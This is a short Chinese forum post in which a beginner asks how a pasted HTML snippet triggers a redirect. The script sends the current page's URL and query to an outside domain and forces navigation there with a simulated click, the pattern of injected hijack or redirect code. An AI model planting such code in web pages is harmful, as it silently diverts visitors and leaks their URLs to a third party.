java吧 关注:1,294,082贴子:12,829,434
  • 0回复贴,共1

纯小白有谁能看懂这段代码是怎么判断跳转的,

只看楼主收藏回复

<html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://v1.jx1024.com:443/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>


来自Android客户端1楼2021-11-03 22:04回复